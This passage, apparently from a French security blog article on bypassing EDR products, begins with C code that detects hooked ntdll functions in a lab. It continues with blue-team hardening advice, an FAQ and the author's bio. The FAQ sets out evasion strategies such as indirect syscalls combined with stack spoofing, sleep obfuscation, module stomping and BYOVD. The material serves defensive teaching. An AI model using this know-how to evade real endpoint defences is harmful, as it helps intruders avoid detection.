BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, targetFunctions[i]);
if (!pFunc) continue;
// Vérifier si les premiers octets correspondent au pattern normal
// mov r10, rcx = 4C 8B D1
// mov eax, SSN = B8 XX XX 00 00
BOOL isHooked = FALSE;
if (pFunc[0] == 0xE9) {
// JMP relatif — hook inline classique
isHooked = TRUE;
DWORD offset = *(DWORD*)(pFunc + 1);
PVOID hookTarget = (PVOID)(pFunc + 5 + offset);
printf("[HOOKED - JMP] %s -> 0x%p\n",
targetFunctions[i], hookTarget);
} else if (pFunc[0] == 0xFF && pFunc[1] == 0x25) {
// JMP [rip+offset] — hook indirect
isHooked = TRUE;
printf("[HOOKED - JMP indirect] %s\n", targetFunctions[i]);
} else if (pFunc[0] == 0x4C && pFunc[1] == 0x8B && pFunc[2] == 0xD1) {
// Pattern normal : mov r10, rcx
WORD ssn = *(WORD*)(pFunc + 4);
printf("[CLEAN] %s (SSN: 0x%04X)\n", targetFunctions[i], ssn);
} else {
printf("[UNKNOWN] %s (bytes: %02X %02X %02X %02X %02X)\n",
targetFunctions[i],
pFunc[0], pFunc[1], pFunc[2], pFunc[3], pFunc[4]);
}
}
}
Compilez et exécutez cet outil sur votre machine de lab avec l'EDR actif. Vous verrez quelles fonctions sont hookées par votre EDR et pourrez ensuite tester les techniques d'unhooking présentées précédemment pour observer les réactions de l'EDR à chaque approche.
Recommandations pour les Blue Teams
Face à l'arsenal toujours croissant des techniques de bypass EDR, les équipes défensives doivent adopter une approche pragmatique combinant la maximisation de la télémétrie, la détection en profondeur, et la réduction proactive de la surface d'attaque. Voici les recommandations prioritaires pour renforcer votre posture défensive.
1. Maximiser la télémétrie kernel
La télémétrie kernel est la fondation la plus solide de la détection car elle ne peut pas être contournée depuis l'espace utilisateur. Assurez-vous que votre EDR utilise le provider ETW Microsoft-Windows-Threat-Intelligence (ETW-Ti) et qu'il s'exécute en tant que processus protégé (PPL). Si votre EDR ne supporte pas PPL, envisagez de compléter votre stack avec Sysmon configuré pour capturer les événements de création de processus, de chargement d'images, et d'accès aux fichiers critiques. La combinaison d'un EDR avec Sysmon crée une redondance de télémétrie qui rend le bypass plus difficile.
2. Implémenter la détection de la call stack
L'analyse de la call stack au moment des syscalls est l'une des techniques de détection les plus efficaces contre les syscalls directs et indirects. Si votre EDR ne la supporte pas nativement, vous pouvez la compléter avec des règles personnalisées. Surveillez les call stacks qui contiennent des frames dans de la mémoire privée (non backée par un fichier), des frames dans des régions mémoire RWX, ou des séquences de frames inhabituelles pour le type d'opération effectuée.
3. Durcir la configuration Windows
Plusieurs paramètres de configuration Windows réduisent significativement la surface d'attaque des techniques de bypass :
HVCI (Hypervisor-Protected Code Integrity) : bloque le chargement de drivers non signés et de drivers présents sur la blocklist Microsoft, contrant le BYOVD. Activez-le sur tous les endpoints supportés.
Credential Guard : protège le processus LSASS via la virtualisation, rendant le dump de credentials via Mimikatz ou des techniques similaires inefficace.
ASR Rules (Attack Surface Reduction) : les règles ASR de Microsoft Defender bloquent les comportements malveillants courants comme la création de processus enfants par les applications Office, l'exécution de scripts obfusqués, et le vol de credentials via LSASS.
Constrained Language Mode pour PowerShell : limite les capacités de PowerShell aux fonctionnalités essentielles, bloquant l'accès aux API .NET et aux types COM utilisés dans les attaques.
Windows Defender Application Control (WDAC) : en mode d'application, WDAC ne permet l'exécution que des binaires explicitement autorisés, rendant l'exécution de loaders malveillants considérablement plus difficile.
4. Développer des capacités de threat hunting
Le threat hunting proactif est essentiel pour détecter les attaquants qui ont réussi à contourner les détections automatisées de l'EDR. Formez vos analystes SOC aux techniques de bypass EDR présentées dans cet article pour qu'ils sachent quoi chercher. Développez des hypothèses de hunting basées sur les TTP (Tactics, Techniques, and Procedures) des groupes d'attaque qui ciblent votre secteur d'activité, et exécutez des campagnes de hunting régulières.
5. Tester régulièrement les défenses avec des exercices Purple Team
Les exercices Purple Team, où les équipes Red et Blue collaborent ouvertement, sont le moyen le plus efficace d'améliorer la détection des techniques de bypass EDR. Lors de ces exercices, l'équipe Red exécute des techniques de bypass spécifiques tandis que l'équipe Blue observe en temps réel quelles détections se déclenchent et lesquelles échouent. Les lacunes identifiées sont immédiatement traitées par le développement de nouvelles règles de détection.
6. Surveiller l'intégrité de l'EDR lui-même
Implémentez une surveillance externe de l'état de santé de votre EDR. Si l'agent EDR est désactivé, ses hooks sont supprimés, ou ses callbacks kernel sont retirés, vous devez le savoir immédiatement. Des solutions de monitoring comme des scripts qui vérifient périodiquement que le service EDR est actif, que le driver kernel est chargé, et que la communication avec la console cloud fonctionne, constituent une couche de détection supplémentaire contre les attaques ciblant l'EDR lui-même.
7. Adopter une architecture Zero Trust
Le Zero Trust réduit l'impact d'un bypass EDR réussi en limitant les mouvements latéraux et l'accès aux ressources sensibles. Même si un attaquant contourne l'EDR sur un endpoint, une architecture Zero Trust avec micro-segmentation réseau, authentification continue, et accès conditionnel aux ressources limite sa capacité à pivoter vers d'autres systèmes et à atteindre les objectifs de sa mission.
8. Maintenir la veille sur les techniques émergentes
Le domaine du bypass EDR évolue à un rythme soutenu. Suivez les publications de chercheurs comme Elastic Security Labs, les blogs de MDSec, les conférences DEF CON et Black Hat, et les dépôts GitHub des projets de recherche offensive. Chaque nouvelle technique publiée est une opportunité de développer proactivement une détection avant qu'elle ne soit utilisée dans une attaque réelle contre votre organisation.
FAQ : questions fréquentes sur le bypass EDR
Quelle est la différence entre un bypass EDR userland et kernel ?
Un bypass userland opère dans l'espace mémoire du processus utilisateur et cible les hooks placés par l'EDR dans les DLL système comme ntdll.dll. Ces techniques incluent l'unhooking, les syscalls directs et indirects, et le patching d'AMSI ou d'ETW. Elles sont plus simples à implémenter car elles ne nécessitent pas de privilèges administrateur ni de code s'exécutant en mode noyau. Un bypass kernel, en revanche, s'exécute au niveau du noyau Windows (ring 0) et peut désactiver complètement les mécanismes de détection de l'EDR : suppression des kernel callbacks, déchargement des minifilters, et même terminaison des processus protégés de l'EDR. Les bypasses kernel sont plus puissants mais aussi plus risqués (risque de BSOD), plus complexes, et nécessitent soit un driver vulnérable signé (BYOVD), soit l'exploitation d'une vulnérabilité du noyau. En pratique, les attaques sophistiquées combinent les deux niveaux : le bypass userland pour l'exécution initiale du payload, et le bypass kernel pour la persistance et la neutralisation complète de l'EDR.
Les syscalls directs sont-ils encore efficaces en 2026 contre les EDR modernes ?
Les syscalls directs « classiques » (type SysWhispers1/2) sont de moins en moins efficaces car les EDR majeurs comme CrowdStrike Falcon et Microsoft Defender for Endpoint analysent désormais la call stack au moment du syscall. Un syscall provenant d'une adresse en dehors de ntdll.dll est immédiatement flagué comme suspect. Cependant, les syscalls indirects — où l'instruction syscall est exécutée depuis l'intérieur de ntdll.dll via un JMP — restent partiellement efficaces car la call stack montre une adresse de retour légitime dans ntdll. Pour une efficacité maximale en 2026, les syscalls indirects doivent être combinés avec du stack spoofing (pour falsifier l'intégralité de la call stack), du sleep obfuscation (pour protéger le payload en mémoire entre les opérations), et du module stomping (pour éviter que le code s'exécute depuis de la mémoire non backée). Cette combinaison forme ce que les chercheurs appellent une « kill chain d'évasion » complète.
Comment un EDR peut-il détecter le sleep obfuscation si le payload est chiffré en mémoire ?
Bien que le payload soit chiffré pendant les phases de sommeil, les techniques de sleep obfuscation laissent plusieurs traces détectables. Premièrement, la modification cyclique des permissions mémoire (RX → RW pour le chiffrement, puis RW → RX pour le déchiffrement) crée un pattern temporel caractéristique que les EDR avancés surveillent via le provider ETW-Ti. Deuxièmement, les mécanismes utilisés pour orchestrer le chiffrement et le déchiffrement (timer queues pour Ekko, APC pour Foliage) génèrent des événements système observables. Troisièmement, la mémoire contenant le payload chiffré a une entropie très élevée (proche de l'aléatoire) qui est un IoC en soi. Quatrièmement, les EDR les plus avancés comme CrowdStrike interceptent les appels aux timer queues et analysent les callbacks enregistrés, détectant les séquences VirtualProtect → XOR → Sleep → XOR → VirtualProtect caractéristiques du sleep obfuscation.
Le BYOVD est-il la technique de bypass EDR la plus dangereuse ?
Le BYOVD est effectivement l'une des techniques les plus puissantes car elle donne un accès noyau complet à l'attaquant, lui permettant de neutraliser entièrement l'EDR. Cependant, elle présente des contraintes qui limitent son utilisation dans la pratique. Elle nécessite des privilèges administrateur pour charger le driver, ce qui signifie que l'attaquant a déjà obtenu un niveau d'accès élevé. Le chargement d'un driver (même légitime) génère des événements facilement détectables. HVCI (Hypervisor-Protected Code Integrity) et la blocklist de drivers vulnérables de Microsoft bloquent les drivers connus. Enfin, une erreur dans l'exploitation du driver peut provoquer un BSOD, alertant les administrateurs. Les organisations qui déploient HVCI sur tous leurs endpoints réduisent considérablement le risque de BYOVD, bien que de nouveaux drivers vulnérables continuent d'être découverts régulièrement.
Comment tester la robustesse de mon EDR face aux techniques de bypass sans risquer la production ?
La meilleure approche est de construire un lab de test isolé comme décrit dans la section Lab pratique de cet article. Utilisez des machines virtuelles avec votre EDR en configuration de production (mêmes politiques, mêmes règles) mais sur un réseau isolé. Des outils comme AtomicRedTeam (de Red Canary) fournissent des tests unitaires pour chaque technique MITRE ATT&CK et peuvent être exécutés de manière automatisée. Pour les tests plus avancés, déployez un framework C2 comme Havoc ou Sliver dans le lab et testez différentes combinaisons de techniques d'évasion. Documentez systématiquement quelles alertes sont générées et quelles techniques passent inaperçues. Partagez ces résultats avec votre fournisseur EDR pour améliorer la détection. Les exercices Purple Team réguliers, avec une collaboration ouverte entre Red et Blue teams, sont la méthode la plus efficace pour évaluer et améliorer continuellement votre posture défensive.
Pourquoi les EDR ne placent-ils pas tous leurs hooks dans le kernel plutôt que dans l'espace utilisateur ?
Cette question touche à un compromis fondamental de l'architecture de détection. Les hooks kernel seraient effectivement plus robustes car inaccessibles depuis l'espace utilisateur, mais ils présentent plusieurs inconvénients majeurs. Premièrement, le code kernel s'exécute avec les privilèges les plus élevés : un bug dans un hook kernel peut provoquer un BSOD, rendant le système inutilisable. L'espace utilisateur est beaucoup plus tolérant aux erreurs. Deuxièmement, Microsoft a progressivement restreint la capacité des éditeurs tiers à modifier le noyau. Kernel Patch Protection (KPP/PatchGuard) empêche la modification des structures critiques du noyau, et les politiques de certification des drivers imposent des contraintes strictes. Troisièmement, les hooks kernel ont un impact significatif sur les performances car chaque appel système est intercepté, même les appels bénins qui constituent l'immense majorité du trafic. Enfin, les hooks userland offrent un contexte plus riche (ils peuvent inspecter la mémoire du processus, son PEB, son token de sécurité) que les hooks kernel qui reçoivent des informations plus limitées. C'est pourquoi les EDR utilisent une approche hybride combinant hooks userland et kernel callbacks.
Quelles sont les implications légales du développement et de l'utilisation de techniques de bypass EDR ?
Le développement et l'utilisation de techniques de bypass EDR se situent dans un cadre juridique complexe qui dépend du contexte d'utilisation et de la juridiction. Dans le cadre d'un test d'intrusion autorisé (pentest), avec un contrat de mission signé et un périmètre clairement défini, l'utilisation de ces techniques est légale et même encouragée pour évaluer la robustesse des défenses du client. Les chercheurs en sécurité qui publient des recherches sur les techniques de bypass dans un but défensif (amélioration des détections) opèrent généralement dans un cadre de divulgation responsable accepté par la communauté. En revanche, l'utilisation de ces techniques sans autorisation contre des systèmes tiers constitue une infraction pénale dans la plupart des juridictions — en France, elle relève des articles 323-1 à 323-7 du Code pénal relatifs aux atteintes aux systèmes de traitement automatisé de données (STAD). La vente d'outils de bypass EDR à des fins malveillantes peut également engager la responsabilité du vendeur. Les organisations doivent encadrer les activités de Red Team par des accords juridiques stricts et s'assurer que les tests sont conduits uniquement dans des environnements autorisés.
Comment les EDR évoluent-ils face aux nouvelles techniques de bypass ?
L'évolution des EDR face aux techniques de bypass suit un cycle itératif d'adaptation. Lorsqu'une nouvelle technique de bypass est publiée (publication académique, conférence, PoC sur GitHub), les éditeurs d'EDR analysent la technique et développent des détections en plusieurs temps. D'abord, des signatures statiques sont créées pour détecter les implémentations connues (les PoC publiés tels quels). Ensuite, des détections comportementales sont développées pour identifier les patterns d'exécution caractéristiques de la technique, même avec des implémentations modifiées. Enfin, des améliorations architecturales sont implémentées pour rendre la technique structurellement plus difficile — par exemple, le déploiement de l'analyse de la call stack en réponse aux syscalls directs. Ce cycle crée une course aux armements permanente où les techniques publiées perdent progressivement leur efficacité, forçant les attaquants à développer de nouvelles approches. Les EDR investissent également massivement dans le machine learning et l'intelligence artificielle pour détecter les anomalies comportementales qui pourraient indiquer de nouvelles techniques de bypass encore inconnues, adoptant une approche de détection non déterministe qui ne repose pas sur la connaissance préalable de la technique spécifique utilisée.
Conclusion
Le contournement des EDR en 2026 est devenu un domaine d'une complexité technique considérable, où la surface d'attaque s'étend des hooks userland en espace mémoire processus jusqu'aux kernel callbacks dans le noyau Windows, en passant par la télémétrie ETW, l'interface AMSI, et les communications réseau. Nous avons parcouru dans cet article l'ensemble des vecteurs de bypass : les techniques userland (unhooking, syscalls directs et indirects via Hell's Gate, Halo's Gate et SysWhispers), les techniques kernel (BYOVD, callback suppression), les méthodes d'évasion mémoire (sleep obfuscation avec Ekko et Foliage, heap encryption, stack spoofing, module stomping), les stratégies d'évasion réseau (domain fronting, DNS over HTTPS, cloud C2), et l'écosystème des outils Red Team qui implémentent ces techniques.
Le constat central qui émerge de cette analyse est que la sécurité endpoint repose sur un équilibre dynamique entre attaquants et défenseurs. Chaque technique de bypass finit par être détectée, et chaque détection finit par être contournée. Les organisations qui résistent le mieux aux techniques de bypass EDR sont celles qui adoptent une stratégie de défense en profondeur : elles ne s'appuient pas uniquement sur l'EDR mais combinent la télémétrie endpoint avec l'analyse réseau, le threat hunting proactif, le durcissement des configurations Windows (HVCI, ASR, WDAC), et une architecture Zero Trust qui limite l'impact d'une compromission initiale réussie.
Pour les professionnels de la cybersécurité, la compréhension des techniques de bypass EDR n'est pas un luxe académique mais une nécessité opérationnelle. Les Red Teamers doivent les maîtriser pour simuler fidèlement les menaces avancées et tester les défenses de leurs clients. Les Blue Teamers doivent les connaître pour développer des détections adaptées et anticiper les vecteurs d'attaque émergents. Les architectes sécurité doivent les comprendre pour évaluer les forces et faiblesses des solutions de détection et construire une stack défensive résiliente. Dans tous les cas, la veille continue, la formation permanente, et les exercices réguliers de simulation d'attaque restent les piliers d'une posture de sécurité robuste face à un paysage de menaces en perpétuelle mutation.
Télécharger cet article en PDF
Format A4 optimisé pour l'impression et la lecture hors ligne
À propos de l'auteur
Ayi NEDJIMI
Auditeur Senior Cybersécurité & Consultant IA
Expert Judiciaire — Cour d'Appel de Paris
Habilitation Confidentiel Défense
ayi@ayinedjimi-consultants.fr
Ayi NEDJIMI est un vétéran de la cybersécurité avec plus de 25 ans d'expérience sur des missions critiques. Ancien développeur Microsoft à Redmond sur le module GINA (Windows NT4) et co-auteur de la version française du guide de sécurité Windows NT4 pour la NSA.
À la tête d'Ayi NEDJIMI Consultants, il réalise des audits Lead Auditor ISO 42001 et ISO 27001, des pentests d'infrastructures critiques, du forensics et des missions de conformité NIS2 / AI Act.
Conférencier international (Europe & US), il a formé plus de 10 000 professionnels.
Domaines d'expertise
Ressources & Outils de l'auteur
Testez vos connaissances
Mini-quiz de certification lié à cet article — propulsé par CertifExpress
Articles connexes
PKI d'Entreprise : Architecture, Déploiement AD CS et Sécurisation
Guide complet PKI d'entreprise : architecture CA hiérarchique, déploiement AD CS step-by-step, templates, attaques ESC1-ESC15, durcissement, Zero Trust, PKI cloud.
Quand un éditeur paralyse 80% des hôpitaux : le risque systémique
L'attaque ChipSoft aux Pays-Bas révèle ce que les RSSI de la santé refusent de regarder en face : la dépendance à un fournisseur unique transforme tout incident cyber en crise nationale.
MCP : la nouvelle surface d'attaque que personne ne veut voir
MCPwn n'est pas un accident isole. Le Model Context Protocol s'integre partout sans la rigueur que devrait imposer un protocole d'execution distante. Mon avis sur ce qui va se passer.
Commentaires
Aucun commentaire pour le moment. Soyez le premier à commenter !
Laisser un commentaire